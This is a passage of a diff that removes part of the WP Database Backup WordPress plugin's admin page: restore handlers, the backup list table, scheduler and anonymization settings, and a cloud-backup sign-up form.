-													wp_delete_file( $database_file );
-												}
-
-										}
-
-									}
-
-								}
-								wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=restore&_wpnonce=' . $nonce );
-								exit;
-								break;
-
-							case 'wpdbbkrestorefullbackup':
-		                        $index = (int) $_GET['index'];
-		                        require_once( 'class-wpdbbkp-restore.php' );
-		                        $restore = new Wpdbbkp_Restore();
-		                        $restore->start($index);
-		                        if (get_option('wp_db_log') == 1) {
-		                            $options = get_option('wp_db_backup_backups');
-		                            $path_info = wp_upload_dir();
-									if(isset($options[$index]['filename'])){
-										$logFileName = explode(".", $options[$index]['filename']);
-										if(isset($logFileName[0])){
-											$logfile = $path_info['basedir'] . '/' . WPDB_BACKUPS_DIR . '/log/' . $logFileName[0] . '.txt';
-											$message = "nn Restore Backup at " . gmdate("Y-m-d h:i:sa");
-											$this->write_log($logfile, $message);
-										}
-
-									}
-
-		                        }
-		                        $nonce = wp_create_nonce( 'wp-database-backup' );
-		                        wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=restore&_wpnonce=' . $nonce );
-								exit;
-		                        break;
-
-							/* END: Restore Database Content */
-						}
-					}
-				}
-			}
-		}
-
-		if ( is_admin() && current_user_can( 'manage_options' ) ) {
-			register_setting( 'wp_db_backup_options', 'wp_db_backup_options', array( $this, 'wp_db_backup_validate' ) );
-			add_settings_section( 'wp_db_backup_main', 'WP-Database-Backup', array( $this, 'wp_db_backup_section_text' ), 'manage_options' );
-		}
-	}
-
-	/**
-	 * Validate data.
-	 *
-	 * @param string $input - Input data.
-	 */
-	public function wp_db_backup_validate( $input ) {
-		return $input;
-	}
-
-	/**
-	 * Setting page.
-	 */
-	public function wp_db_backup_settings_page() {
-		global $wp_filesystem;
-		if(!function_exists('WP_Filesystem')){
-			require_once ( ABSPATH . '/wp-admin/includes/file.php' );
-		}
-		include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
-		WP_Filesystem();
-		$wp_db_is_pro = false;
-		if ( is_plugin_active( 'wp-database-backup-premium/wp-database-backup-premium.php' ) ) {
-			$wp_db_is_pro = true;
-		}
-		$options  = get_option( 'wp_db_backup_backups' );
-		$options = wpdbbkp_filter_unique_filenames( $options );
-		$settings = get_option( 'wp_db_backup_options' );
-		$wp_db_log = get_option( 'wp_db_log' );
-		$incremental_backup =  get_option( 'wp_db_incremental_backup' ,false);  ?>
-		<div class="bootstrap-wrapper">
-		<?php
-		$wp_db_local_backup_path = get_option( 'wp_db_local_backup_path' );
-		if ( false === empty( $wp_db_local_backup_path ) && false === file_exists( $wp_db_local_backup_path ) ) {
-			echo '<div class="alert alert-warning alert-dismissible fade in" role="alert">
-                      <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
-                      <a href="#db_destination" data-toggle="tab">';
-			esc_html_e( 'Invalid Local Backup Path : ', 'wpdbbkp' );
-			echo esc_html( $wp_db_local_backup_path );
-			echo '</a></div>';
-		}
-
-		$upload_dir = wp_upload_dir();
-		$dir        = $upload_dir['basedir'] . '/db-backup';
-		if ( ! is_dir( $dir ) ) {
-			$dir = $upload_dir['basedir'];
-		}
-		if ( is_dir( $dir ) &&  !$wp_filesystem->is_writable( $dir )) {
-			?>
-				<div class="row">
-				<div class="col-xs-12 col-sm-12 col-md-12">
-					<div class="alert alert-danger alert-dismissible fade in" role="alert">
-						<button type="button" class="close" data-dismiss="alert" aria-label="Close">
-							<span aria-hidden="true">×</span></button>
-						<h4><?php esc_html_e( 'WP Database Backup', 'wpdbbkp' ); ?></h4>
-						<p><?php esc_html_e( 'Error: Permission denied, make sure you have write permission for', 'wpdbbkp' ); ?> <?php echo esc_attr( $dir ); ?>
-						<?php esc_html_e( 'folder', 'wpdbbkp' ); ?></p>
-					</div>
-					</button>
-				</div>
-				</div>
-				<?php
-		}
-		?>
-
-
-
-		<div id="wpdbbkpModal" class="modal">
-			<div class="wpdbbkpmodal-content">
-				<div class="wpdbbkp-modal-header">
-					<span class="wpdbbkp-close">×</span>
-					<h2><span class="glyphicon glyphicon-info-sign" aria-hidden="true"></span> <span id="wpdbbkp-modal-header-title"></span></h2>
-				</div>
-				<div class="wpdbbkp-modal-body">
-					<p  id="wpdbbkp-modal-body-text"></p>
-				</div>
-				<div class="wpdbbkp-modal-footer">
-					<a class="btn btn-primary" onclick="return confirm('Are you sure you want to restore backup?')" id="wpdbbkp-proceed-btn">Continue Anyway</a> <a class="btn btn-default wpdbbkp-close">Close</a>
-				</div>
-			</div>
-		</div>
-
-			<div class="panel panel-default">
-				<div class="panel-heading head-logo">
-					<a href="https://backupforwp.com/" target="blank"><img
-								src="<?php echo esc_attr( WPDB_PLUGIN_URL ); ?>/assets/images/wp-database-backup.png" width="230px"></a>
-				</div>
-				<div class="panel-body">
-					<ul class="nav nav-tabs wbdbbkp_has_nav">
-						<li class="active"><a href="#db_home" data-toggle="tab"><?php echo esc_html__('Backups', 'wpdbbkp') ?></a></li>
-						<?php if($wp_db_is_pro){
-							do_action('wpdbbkp_pro_tab_links');
-						 } else { ?>
-							<li><a href="#db_remotebackups" data-toggle="tab"><?php echo esc_html__('Cloud Backup', 'wpdbbkp') ?></a></li>
-						<?php } ?>
-						<li><a href="#db_migrate" data-toggle="tab"><?php echo esc_html__('Migration', 'wpdbbkp') ?></a></li>
-						<li><a href="#db_schedul" data-toggle="tab"><?php echo esc_html__('Auto Scheduler', 'wpdbbkp') ?></a></li>
-						<li><a href="#db_destination" data-toggle="tab"><?php echo esc_html__('Save Backups to', 'wpdbbkp') ?></a></li>
-						<li><a href="#db_setting" data-toggle="tab"><?php echo esc_html__('Settings', 'wpdbbkp') ?></a></li>
-						<li><a href="#searchreplace" style="display:none" data-toggle="tab"><?php echo esc_html__('Search and Replace', 'wpdbbkp') ?></a></li>
-						<li><a href="#db_features" data-toggle="tab"><?php echo esc_html__('Modules', 'wpdbbkp') ?></a></li>
-						<li title="System Info"><a href="#db_info" data-toggle="tab"><?php echo esc_html__('Usage', 'wpdbbkp') ?></a></li>
-						<li><a href="#db_help" data-toggle="tab"><?php echo esc_html__('Help & Support', 'wpdbbkp') ?></a></li>
-						<?php if( ! $wp_db_is_pro ){ ?>
-							<li><a href="#db_upgrade" class="wpdbbkp-upgrade-a" data-toggle="tab"><?php echo esc_html__('Upgrade to Premium', 'wpdbbkp') ?></a></li>
-						<?php } ?>
-
-
-					</ul>
-
-					<?php
-					echo '<div class="tab-content">';
-					echo '<div class="tab-pane active"  id="db_home">';
-
-					$nonce                     = wp_create_nonce( 'wp-database-backup' );
-					$wp_db_backup_search_text  = get_option( 'wp_db_backup_search_text' );
-					$wp_db_backup_replace_text = get_option( 'wp_db_backup_replace_text' );
-					if ( ( false === empty( $wp_db_backup_search_text ) ) && ( false === empty( $wp_db_backup_replace_text ) ) ) {
-						echo '<a href="' . esc_url( site_url() ) . '/wp-admin/admin.php?page=wp-database-backup&action=createdbbackup&_wpnonce=' . esc_attr( $nonce ) . '" id="create_backup" class="btn btn-primary"> <span class="glyphicon glyphicon-plus-sign"></span> '.esc_html__('Create Database Backup with Search/Replace', 'wpdbbkp').'</a>';
-						echo '<p>Backup file will replace <b>' . esc_attr( $wp_db_backup_search_text ) . '</b> text with <b>' . esc_attr( $wp_db_backup_replace_text ) . '</b>. For Regular Database Backup without replace then Go to Dashboard=>Tool=>WP-DB Backup > Settings > '.esc_html__('Search and Replace - Set Blank Fields', 'wpdbbkp').' </p>';
-					} else {
-						echo '<a href="' . esc_url( site_url() ) . '/wp-admin/admin.php?page=wp-database-backup&action=createdbbackup&_wpnonce=' . esc_attr( $nonce ) . '" id="create_backup" class="btn btn-primary"> <span class="glyphicon glyphicon-plus-sign"></span> '.esc_html__('Create Database Backup', 'wpdbbkp').'</a>';
-						echo '<a href="#" id="wpdbbkp-create-full-backup" class="btn btn-primary"> <span class="glyphicon glyphicon-plus-sign"></span> '.esc_html__('Create Full Backup', 'wpdbbkp').'</a>';
-						echo '<a href="#" id="wpdbbkp-stop-full-backup" class="btn btn-danger wpdbbkp-cancel-btn" style="display:none;margin-bottom: 20px;margin-left: 10px;" > <span class="glyphicon glyphicon-ban"></span> '.esc_html__('Stop Backup Process', 'wpdbbkp').'</a>';
-					}
-					include_once 'admin-header-notification.php'; ?>
-
-					<?php
-					if ( !empty($options) ) {
-
-						echo ' <script>
-						var $j = jQuery.noConflict();
-						$j(document).ready(function () {
-
-							var table = $j("#wpdbbkp_table").DataTable({
-								order: [[0, "desc"]],
-							});
-							$j(".popoverid").popover();
-						});
-
-						function excludetableall(){
-							var checkboxes = document.getElementsByClassName("wp_db_exclude_table");
-							var checked = "";
-							if($j("#wp_db_exclude_table_all").prop("checked") == true){
-								checked = "checked";
-							}
-							$j(".wp_db_exclude_table").each(function() {
-								this.checked = checked;
-							});
-						}
-					</script>';
-						echo ' <div class="table-responsive">
-                                <div id="wpdbbkp_dataTables" class="dataTables_wrapper form-inline" role="grid">
-
-                                <table class="table table-striped table-bordered table-hover display" id="wpdbbkp_table">
-                                    <thead>';
-						echo '<tr class="wpdb-header">';
-						echo '<th class="manage-column" scope="col" width="5%" style="text-align: center;">#</th>';
-						echo '<th class="manage-column" scope="col" width="25%">Date</th>';
-						if($wp_db_log==1){
-							echo '<th class="manage-column" scope="col" width="5%">Log</th>';
-						}
-						echo '<th class="manage-column" scope="col" width="10%">Destination</th>';
-						echo '<th class="manage-column" scope="col" width="15%">Type</th>';
-						echo '<th class="manage-column" scope="col" width="10%">Backup File</th>';
-						echo '<th class="manage-column" scope="col" width="10%">Size</th>';
-						echo '<th class="manage-column" scope="col" width="20%">Action</th>';
-						echo '</tr>';
-						echo '</thead>';
-
-						echo '<tbody>';
-						$count            = 1;
-						$destination_icon = array(
-							'Local'      => 'glyphicon glyphicon-home',
-							'Local Path' => 'glyphicon glyphicon-folder-open',
-							'Email'      => 'glyphicon glyphicon-envelope',
-							'FTP'        => 'glyphicon glyphicon-tasks',
-							'SFTP'       => 'glyphicon glyphicon-tasks',
-							'S3'         => 'glyphicon glyphicon-cloud-upload',
-							'Drive'      => 'glyphicon glyphicon-hdd',
-							'DropBox'    => 'glyphicon glyphicon-inbox',
-							'Backblaze'  => 'glyphicon glyphicon-cloud-upload',
-							'CloudDrive'  => 'glyphicon glyphicon-cloud-upload',
-							'GenericS3'  => 'glyphicon glyphicon-cloud-upload'
-						);
-						if(!empty($options) && is_array($options)){
-							foreach ( $options as $option ) {
-								if (!is_array($option)) {
-									continue;
-								}
-
-								$size = isset( $option['size'])? $option['size'] : 0;
-								$str_class = ( 0 === (int) $size  ) ? 'text-danger' : 'wpdb_download';
-								echo '<tr class="' . ( ( 0 === ( $count % 2 ) ) ? esc_attr( $str_class ) . ' alternate' : esc_attr( $str_class ) ) . '">';
-								echo '<td style="text-align: center;">' . esc_attr( $count ) . '</td>';
-								$curr_date = new DateTime(gmdate( 'Y-m-d H:i:s', $option['date'] ));
-								$curr_date->setTimezone(new DateTimeZone(wp_timezone_string()));
-								echo '<td><span style="display:none">' . esc_attr( $curr_date->format('Y-m-d H:i:s') ) . '</span><span title="'.esc_attr( $curr_date->format('jS, F Y h:i:s A') ) .'">' .esc_html($this->wpdbbkp_get_timeago($option['date'])).'</span>';
-								echo '</td>';
-								if($wp_db_log==1){
-									echo '<td class="wpdb_log" align="center">';
-								if (!empty($option['log'])) {
-									if(isset($option['type']) && ($option['type'] == 'complete' || $option['type'] == 'database')){
-								echo '<a href="' . esc_url( admin_url('?wpdbbkp_log='.basename($option['log'])) ) . '" target="_blank" class="label label-warning" title="There might be partial backup. Please check Log File for verify backup.">';
-								echo  '<span class="glyphicon glyphicon-list-alt"></span>';
-								echo '</a>';
-									}else{
-										echo '<a class="popoverid btn" role="button" data-toggle="popover" data-html="true" title="There might be partial backup. Please check Log file to verify backup." data-content="' . wp_kses_post( $option['log'] ) . '"><span class="glyphicon glyphicon-list-alt" aria-hidden="true"></span></a>';
-									}
-								}
-								echo '</td>';
-								}
-								echo '<td>';
-								if ( ! empty( $option['destination'] ) ) {
-									$destination = ( explode( ',', $option['destination'] ) );
-									if ( ! empty( $destination ) && is_array( $destination ) ) {
-										foreach ( $destination as $dest ) {
-											$key = trim( $dest );
-											if ( empty( $key ) ) {
-												continue;
-											}
-											// Icon
-											if ( array_key_exists( $key, $destination_icon ) ) {
-												echo '<span class="' . esc_attr( $destination_icon[ $key ] ) . '" title="' . esc_attr( $key ) . '"></span> ';
-											}
-											// Do not add any text label; icon-only for all destinations
-										}
-									}
-								}
-								echo '</td>';
-								if(isset($option['type']) && !empty($option['type'])){
-									if($option['type'] == 'complete'){
-										echo '<td>'.esc_html__('Full Backup', 'wpdbbkp').'</td>';
-									}
-									if($option['type'] == 'database'){
-										echo '<td>'.esc_html__('Database', 'wpdbbkp').'</td>';
-									}
-								}else{
-									echo '<td>Database</td>';
-								}
-								echo '<td>';
-								echo '<a class="btn btn-default" href="' . esc_url( admin_url('?wpdbbkp_download='.basename($option['url'])) ) . '" style="color: #21759B;border-color:#337ab7;">';
-								echo '<span class="glyphicon glyphicon-download-alt"></span> Download</a></td>';
-								echo '<td>' . esc_attr( $this->wp_db_backup_format_bytes( $option['size'] ) ) . '</td>';
-								$remove_backup_href = esc_url( site_url() ) . '/wp-admin/admin.php?page=wp-database-backup&action=removebackup&_wpnonce=' . esc_attr( $nonce ) . '&index=' . esc_attr( ( $count - 1 ) );
-								echo '<td><a title="Remove Database Backup" onclick="return confirm('Are you sure you want to delete database backup?')" href="' . esc_url($remove_backup_href) . '" class="btn btn-default"><span style="color:red" class="glyphicon glyphicon-trash"></span> Remove <a/> ';
-								if ( isset( $option['search_replace'] ) && 1 === (int) $option['search_replace'] ) {
-									echo '<span style="margin-left:15px" title="' . esc_html( $option['log'] ) . '" class="glyphicon glyphicon-search"></span>';
-								} else {
-									$restore_url_href = esc_url( site_url() ) . '/wp-admin/admin.php?page=wp-database-backup&action=restorebackup&_wpnonce=' . esc_attr( $nonce ) . '&index=' . esc_attr( ( $count - 1 ) );
-									if(isset($option['type']) && !empty($option['type'])){
-										if($option['type'] == 'complete'){
-											$restore_url_href = esc_url( site_url() ) . '/wp-admin/admin.php?page=wp-database-backup&action=wpdbbkrestorefullbackup&_wpnonce=' . esc_attr( $nonce ) . '&index=' . esc_attr( ( $count - 1 ) );
-										}
-
-									}
-									echo '<a title="Restore Database Backup" onclick="wpdbbkp_restore_backup(this);" href="javascript:void(0);"  data-msg="Are you sure you want to restore database backup? It will overwrite all data /files with the respective backup and all recent changes would be lost. Are you sure you want to continue?"  data-title="Restore Backup" data-href="'.esc_url($restore_url_href).'" class="btn btn-default"><span class="glyphicon glyphicon-refresh" style="color:blue"></span> Restore <a/>';
-								}
-								echo '</td></tr>';
-								$count++;
-							}
-						}
-
-						echo '</tbody>';
-
-						echo ' </table>
-                                </div>
-                                  </div>';
-					} else {
-						echo '<p>'. esc_html__('No Database Backups Created!','wpdbbkp').'</p>';
-					}
-		?>
-
-						<p><?php echo esc_html__('If you like ','wpdbbkp')?><b> <?php echo esc_html__('WP Database Backup ','wpdbbkp')?> </b> <?php echo esc_html__('please leave us a ','wpdbbkp')?><a target="_blank" href="http://wordpress.org/support/view/plugin-reviews/wp-database-backup" title="Rating" sl-processed="1"> <span class="glyphicon glyphicon-star" aria-hidden="true"></span> <span class="glyphicon glyphicon-star" aria-hidden="true"></span> <span class="glyphicon glyphicon-star" aria-hidden="true"></span> <span class="glyphicon glyphicon-star" aria-hidden="true"></span> <span class="glyphicon glyphicon-star" aria-hidden="true"></span> rating </a>. <?php echo esc_html__('Many thanks in advance!','wpdbbkp')?> </p>
-		<?php
-					echo '</div>';
-
-					echo '<div class="tab-pane" id="db_schedul">';
-					echo '<div class="panel-group">';
-					echo '<form method="post" action="" name="wp_auto_commenter_form">';
-					wp_nonce_field( 'wp-database-backup' );
-					$enable_autobackups = '0';
-					if ( isset( $settings['enable_autobackups'] ) ) {
-						$enable_autobackups = $settings['enable_autobackups'];
-					}
-
-					$autobackup_frequency = '0';
-					if ( isset( $settings['autobackup_frequency'] ) ) {
-						$autobackup_frequency = $settings['autobackup_frequency'];
-					}
-					$full_autobackup_frequency = 'disabled';
-					if ( isset( $settings['full_autobackup_frequency'] ) ) {
-						$full_autobackup_frequency = $settings['full_autobackup_frequency'];
-					}
-					$autobackup_type = '';
-					if ( isset( $settings['autobackup_type'] ) ) {
-						$autobackup_type = $settings['autobackup_type'];
-					}
-
-					echo '<div class="row form-group"><label class="col-sm-3" for="enable_autobackups">'. esc_html__('Enable Auto Backups','wpdbbkp') .'</label>';
-					echo '<div class="col-sm-9"><input type="checkbox" id="enable_autobackups" name="wp_db_backup_options[enable_autobackups]" value="1" ' . checked( 1, $enable_autobackups, false ) . '/>';
-					echo '<div class="alert alert-default" role="alert"><span class="glyphicon glyphicon-info-sign" aria-hidden="true"></span>'. esc_html__('AutoBackups will be based on Wordpress Cron so it can have execution delay of +/- 30 mins . If you have disabled Wordpress Cron then autobackup will not work until you have set Server Cron for wordpress.','wpdbbkp') .'</div>';
-					echo '</div>';
-					echo '</div>';
-
-					echo '<div class="row form-group autobackup_type" style="display:none"><label class="col-sm-3" for="autobackup_frequency">'. esc_html__('Which part should we backup for you ?','wpdbbkp').'</label>';
-					echo '<div class="col-sm-9"><select id="autobackup_type" class="form-control" name="wp_db_backup_options[autobackup_type]">';
-					echo '<option value="">'.esc_html__('Select Backup Type','wpdbbkp').'</option>';
-					echo '<option value="full" ' . selected( 'full', $autobackup_type, false ) . '>Full(Files + DB)</option>';
-					echo '<option value="files" ' . selected( 'files', $autobackup_type, false ) . '>Files Only</option>';
-					echo '<option value="db" ' . selected( 'db', $autobackup_type, false ) . '>Database Only</option>';
-					echo '</select>';
-					echo '</div></div>';
-
-					echo '<div class="row form-group autobackup_frequency" style="display:none"><label class="col-sm-3" for="autobackup_frequency">'.esc_html__('How  often should we run Automatically?','wpdbbkp'). '</label>';
-					echo '<div class="col-sm-9"><select id="autobackup_frequency" class="form-control" name="wp_db_backup_options[autobackup_frequency]">';
-					echo '<option value="daily" ' . selected( 'daily', $autobackup_frequency, false ) . '>Daily</option>';
-					echo '<option value="weekly" ' . selected( 'weekly', $autobackup_frequency, false ) . '>Weekly</option>';
-					echo '<option value="monthly" ' . selected( 'monthly', $autobackup_frequency, false ) . '>Monthly</option>';
-					echo '</select>';
-					echo '</div></div>';
-
-					echo '<div class="row form-group autobackup_frequency_lite" style="display:none"><label class="col-sm-12 autobackup_daily_lite" >'.esc_html__('We will automatically backup at 00:00 AM daily.  ','wpdbbkp'). '<b><a href="javascript:modify_backup_frequency();">'.esc_html__('Change Back Frequency Timings','wpdbbkp') .'</a></b></label></div>';
-					echo '<div class="row form-group autobackup_frequency_lite" style="display:none"><label class="col-sm-12 autobackup_weekly_lite" >'.esc_html__('We will automatically backup every Sunday on weekly basis.','wpdbbkp') . '<b><a href="javascript:modify_backup_frequency();">'.esc_html__('Change Back Frequency Timings','wpdbbkp') .'</a></b></label></div>';
-					echo '<div class="row form-group autobackup_frequency_lite" style="display:none"><label class="col-sm-12 autobackup_monthly_lite" >'.esc_html__('We will automatically backup on 1st on Monday on monthly basis.','wpdbbkp') . ' <b><a href="javascript:modify_backup_frequency();">'.esc_html__('Change Back Frequency Timings','wpdbbkp') . '</a></b></label></div>';
-
-					do_action('wpdbbkp_database_backup_options');
-					echo '<p class="submit">';
-					echo '<input type="submit" name="'.esc_html__('Submit','wpdbbkp') . '" class="btn btn-primary" value="'.esc_html__('Save Settings','wpdbbkp') . '" />';
-					echo '</p>';
-					echo '</form>';
-					echo '</div>';
-					echo '</div>';
-
-
-
-					do_action('wpdbbkp_pro_tab_content');
-
-					?>
-
-<!-- Modal Structure -->
-<div class="modal" id="wpdbbkp_offer_modal" data-dismiss="modal" tabindex="-1" aria-labelledby="wpdbbkp_offer_modalLabel" aria-hidden="true">
-  <div class="modal-dialog">
-    <div class="modal-content">
-   <div class="modal-body">
-   <button type="button" id="offer_close" class="close" data-dismiss="modal" aria-label="Close">
-          <span aria-hidden="true">×</span>
-        </button>
-  <h3 class="modal-title" id="wpdbbkp_offer_modalLabel"><img src="<?php echo esc_attr( WPDB_PLUGIN_URL ); /* phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage */ ?>/assets/images/wp-database-backup.png" width="230px"></h3>
-		  <p style="padding:0 50px;"><?php echo esc_html__('Cloud Backup offers a secure, reliable and affordable solution to backup your WP site to the cloud.','wpdbbkp');?></p>
-		<div class="wpdbbkp_offer_container">
-			<div class="wpdbbkp_server">
-				<h4><?php echo esc_html__('Server Backup','wpdbbkp');?></h4>
-				<p><?php echo esc_html__('Backup your site to server','wpdbbkp');?></p>
-				<ul>
-					<li>✔ <?php echo esc_html__('Easy to setup','wpdbbkp');?></li>
-					<li>✔ <?php echo esc_html__('Takes storage on your server','wpdbbkp');?></li>
-					<li>✔ <?php echo esc_html__('Availability subject to server','wpdbbkp');?></li>
-				</ul>
-				<h4><?php echo esc_html__('Free','wpdbbkp');?></h4>
-				<button id="wpdbbkp_server_backup" class="btn btn-secondary"><?php echo esc_html__('Create a Backup on this Server','wpdbbkp');?></button>
-			</div>
-			<div class="wpdbbkp_remote">
-				<h4><?php echo esc_html__('Cloud Backup','wpdbbkp');?></h4>
-				<p><?php echo esc_html__('Backup your site in the cloud','wpdbbkp');?></p>
-				<ul>
-					<li>✔ <?php echo esc_html__('Secure and reliable','wpdbbkp');?></li>
-					<li>✔ <?php echo esc_html__('Unlimited Storage *','wpdbbkp');?></li>
-					<li>✔ <?php echo esc_html__('High availability','wpdbbkp');?></li>
-				</ul>
-				<h4><?php echo esc_html__('$49','wpdbbkp');?> <small><?php echo esc_html__('per month onwards','wpdbbkp');?></small></h4>
-				<button id="wpdbbkp_remote_backup" class="btn btn-primary"><?php echo esc_html__('Create a Backup on Cloud Server','wpdbbkp');?></button>
-
-			</div>
-
-		</div>
-		<br><small><?php echo esc_html__('* Fair Usage Policies applies','wpdbbkp');?></small>
-      </div>
-    </div>
-  </div>
-</div>
-<div class="tab-pane" id="db_features">
-
-		<div class="panel-group">
-			<form method="post" action="" name="db_features_form">
-				<?php wp_nonce_field('wp-database-backup');
-				$enable_anonymization = get_option('bkpforwp_enable_anonymization',false);
-				$anonymization_type = get_option('bkpforwp_anonymization_type',false);
-				$enable_backup_encryption = get_option('bkpforwp_enable_backup_encryption',false);
-				$anonymization_pass = get_option('bkpforwp_anonymization_pass','');
-				$backup_encryption_pass = get_option('bkpforwp_encryption_pass','');
-				$enable_exact_backup_time = get_option('bkpforwp_enable_exact_backup_time',false);
-				?>
-				<div class="row form-group"><label class="col-sm-3" for="enable_anonymization"><?php esc_html_e('Data Anonymization','wpdbbkp'); ?></label>
-					<div class="col-sm-9"><input type="checkbox" id="enable_anonymization"
-							name="enable_anonymization" value="1" <?php checked($enable_anonymization,1,1); ?> />
-
-						<div class="alert alert-default" role="alert">
-							<span class="glyphicon glyphicon-info-sign" aria-hidden="true"></span> <?php esc_html_e('Data anonymization is protecting private or sensitive information by erasing or encrypting identifiers that connect an individual to stored data.','wpdbbkp'); ?><a href="https://backupforwp.com/" target="_blank">Learn More</a></div>
-					</div>
-					</div>
-				<div class="row form-group" id="anonymization_type_div" style="display:none">
-					<label class="col-sm-3" for="anonymization_type"><?php esc_html_e('Data Anonymization Type','wpdbbkp'); ?> </label>
-					<div class="col-sm-9"><select id="anonymization_type" class="form-control"
-							name="anonymization_type">
-							<option value="masked_data" <?php selected('masked_data', $anonymization_type, true) ?>> <?php esc_html_e('Masked Data','wpdbbkp'); ?>
-							</option>
-							<option value="fake_data" <?php selected('fake_data', $anonymization_type, true) ?>> <?php esc_html_e('Fake Data','wpdbbkp'); ?>
-							</option>
-							<option value="encrypted_data" <?php selected('encrypted_data', $anonymization_type, true) ?>> <?php esc_html_e('Encrypted Data','wpdbbkp'); ?>
-							</option>
-						</select>
-						<?php echo wp_kses_post('<table class="bkpforwp-infotable">
-							<tr><th>Masked Data </th><td>Data is masked with * character and <strong class="bkpforwp-red">data can not be recovered</strong> while restore.</td></tr>
-							<tr><th>Fake Data </th><td>Data is replaced with fake data and <strong class="bkpforwp-red">data can not be recovered</strong> while restore.</td></tr>
-							<tr><th>Encrypted Data </th><td>Data is encrypted with a password  and <strong class="bkpforwp-green">data can be recovered</strong> while restore by using the same password used to backup the data.You just have to add the encryption password in Data Anonymization setting before restoring backup.</td></tr>
-						</table>');?>
-
-					</div>
-				</div>
-
-					<div class="row form-group" id="anonymization_enc_ip" style="display:none">
-					<label class="col-sm-3" for="anonymization_pass"><?php esc_html_e('Encrypted Data','wpdbbkp'); ?> <?php esc_html_e('Anonymization Password','wpdbbkp'); ?></label>
-					<div class="col-sm-9">
-						<input type="password" name="anonymization_pass" id="anonymization_pass" class="form-control" value="<?php esc_attr($anonymization_pass);?>">
-						<div class="alert alert-default" role="alert">
-							<span class="glyphicon glyphicon-info-sign" aria-hidden="true"></span> <?php esc_html_e('Please enter the encryption password. If you lose this pass then you can not recover the encrypted data','wpdbbkp'); ?></div>
-					</div>
-
-				</div>
-
-				<div class="row form-group" style="display:none"><label class="col-sm-3" for="enable_backup_encryption"><?php esc_html_e('Backup File Encrpytion','wpdbbkp'); ?></label>
-					<div class="col-sm-9"><input type="checkbox" id="enable_backup_encryption"
-							name="enable_backup_encryption" value="1" <?php checked($enable_backup_encryption,1,1); ?> /></div>
-				</div>
-
-				<div class="row form-group" id="encryption_pass_div" style="display:none">
-					<label class="col-sm-3" for="backup_encryption_pass"><?php esc_html_e('Backup Password','wpdbbkp'); ?></label>
-					<div class="col-sm-9">
-						<input type="password" name="backup_encryption_pass" id="backup_encryption_pass" class="form-control" value="<?php esc_attr($backup_encryption_pass);?>">
-					</div>
-				</div>
-
-				<p class="submit">
-					<input type="submit" name="featureSubmit" class="btn btn-primary" value="Save Settings" />
-				</p>
-			</form>
-		</div>
-	</div>
-<div class="tab-pane" id="db_remotebackups">
-<?php
-$update_msg = '';
-if ( true === isset( $_POST['wpdb_cd_s3'] ) && 'Y' === $_POST['wpdb_cd_s3'] ) {
-	// Validate that the contents of the form request came from the current site and not somewhere else added 21-08-15 V.3.4.
-	if ( ! isset( $_POST['wpdbbackup_update_cd_setting'] ) ) {
-		wp_die( esc_html__('Invalid form data. form request came from the somewhere else not current site!','wpdbbkp') );
-	}
-	if ( ! wp_verify_nonce( wp_unslash( $_POST['wpdbbackup_update_cd_setting'] ) , 'wpdbbackup-update-cd-setting' ) ) { //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		wp_die( esc_html__('Invalid form data. form request came from the somewhere else not current site!','wpdbbkp') );
-	}
-
-	if ( true === isset( $_POST['wpdb_clouddrive_token'] ) ) {
-		update_option( 'wpdb_clouddrive_token', wpdbbkp_filter_data( sanitize_text_field( wp_unslash( $_POST['wpdb_clouddrive_token'] ) ) ), false );
-	}
-
-	// Put a "settings updated" message on the screen.
-	$update_msg = esc_html__('Your BackupforWP Cloud Backup setting has been saved.' , 'wpdbbkp');
-}
-
-$wpdb_clouddrive_token = get_option( 'wpdb_clouddrive_token',null);
-
-$wpdbbkp_bb_s3_status			=	'<small><b>'.esc_html__('Status', 'wpdbbkp').'</b>: '.esc_html__('Not Configured', 'wpdbbkp').' </small> ';
-
-if($wpdb_clouddrive_token && !empty($wpdb_clouddrive_token))
-{
-	$wpdbbkp_bb_s3_status ='<small>'.esc_html__('Status', 'wpdbbkp').'</b>: <span class="dashicons dashicons-yes-alt" style="color:green;font-size:16px" title="'.esc_attr__('Destination enabled', 'wpdbbkp').'"></span><span class="configured">'.esc_html__('Configured', 'wpdbbkp').' </span> </small> ';
-}
-
-?>
-<h2 align="center"><strong><?php echo esc_html__('Cloud Backup by BackupforWP', 'wpdbbkp') ?></strong></h2>
-<div class="panel panel-default">
-	<div class="panel-heading">
-		<h4 class="panel-title">
-			<a data-toggle="collapse" data-parent="#accordion" href="#collapsebb">
-				<?php echo '<b>'.esc_html__('Cloud Backup', 'wpdbbkp').'</b>'; ?> <?php echo wp_kses_post($wpdbbkp_bb_s3_status);?>
-
-			</a>
-		</h4>
-	</div>
-		<div class="panel-body">
-		<?php
-			if($update_msg){
-				echo '<div class="updated"><p><strong>'.esc_html( $update_msg ).'</strong></p></div>';
-			}
-			?>
-			<form  class="form-group" name="Clouddrive3" method="post" action="">
-
-			<p style="padding:0 20px;">
-			<?php echo '<h2 style="padding:0 20px;">'.esc_html__('Getting started with our Cloud Backup service is simple.', 'wpdbbkp').'</h2>'; ?>
-
-			<ul style="list-style-type: style;">
-				<li style="margin-left: 30px;"><?php echo esc_html__('Sign up for a free account at', 'wpdbbkp'); ?> <a href="https://backupforwp.com/register" target="_blank"><?php  echo esc_html__(' Cloud Backup ', 'wpdbbkp');?> </a><?php  echo esc_html__('by Backup for WP', 'wpdbbkp');?></li>
-				<li style="margin-left: 30px;"><?php echo esc_html__('Add the website url', 'wpdbbkp'); ?> <a href="https://app.backupforwp.com/websites" target="_blank"><?php  echo esc_html__('Add Website here', 'wpdbbkp');?> </a></li>
-				<li style="margin-left: 30px;"><?php echo esc_html__('API token will be generated on adding website.', 'wpdbbkp'); ?></li>
-				<li style="margin-left: 30px;"><?php echo esc_html__('Copy the token here and Click Save.', 'wpdbbkp'); ?></li>
-				<li style="margin-left: 30px;"><b><?php echo esc_html__('You can see your backup files from ', 'wpdbbkp'); ?><a href="https://app.backupforwp.com/dashboard/" target="_blank"><?php  echo esc_html__('here', 'wpdbbkp');?> </a></b></li>
-			</ul>
-
-
-				<input type="hidden" name="wpdb_cd_s3" value="Y">
